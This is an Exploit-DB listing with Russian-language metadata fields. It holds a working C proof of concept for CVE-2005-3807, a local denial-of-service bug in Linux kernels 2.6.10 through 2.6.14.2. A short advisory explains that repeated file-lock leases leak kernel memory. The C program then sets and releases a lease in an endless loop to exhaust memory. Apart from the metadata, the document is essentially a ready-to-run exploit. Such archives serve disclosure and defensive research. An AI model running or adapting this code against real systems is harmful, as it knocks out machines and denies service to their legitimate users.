- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 26749
- Проверка EDB
-
- Пройдено
- Автор
- J. BRUCE FIELDS
- Тип уязвимости
- DOS
- Платформа
- LINUX
- CVE
- cve-2005-3807
- Дата публикации
- 2005-12-29
C:
/*
source: https://www.securityfocus.com/bid/15745/info
Linux kernel is susceptible to a local denial-of-service vulnerability.
This issue is triggered when excessive kernel memory is consumed by numerous file-lock leases. This problem stems from a memory leak in the kernel's file-lock lease code.
This issue allows local attackers to consume excessive kernel memory, eventually leading to an out-of-memory condition and ultimately to a denial of service for legitimate users.
Kernel versions from 2.6.10 through to 2.6.14.2 are vulnerable to this issue.
*/
#include <unistd.h>
#include <stdlib.h>
#include <linux/fcntl.h>
int main(int ac, char **av)
{
char *fname = av[0];
int fd = open(fname, O_RDONLY);
int r;
while (1) {
r = fcntl(fd, F_SETLEASE, F_RDLCK);
if (r == -1) {
perror("F_SETLEASE, F_RDLCK");
exit(1);
}
r = fcntl(fd, F_SETLEASE, F_UNLCK);
if (r == -1) {
perror("F_SETLEASE, F_UNLCK");
exit(1);
}
}
return 0;
}
- Источник
- www.exploit-db.com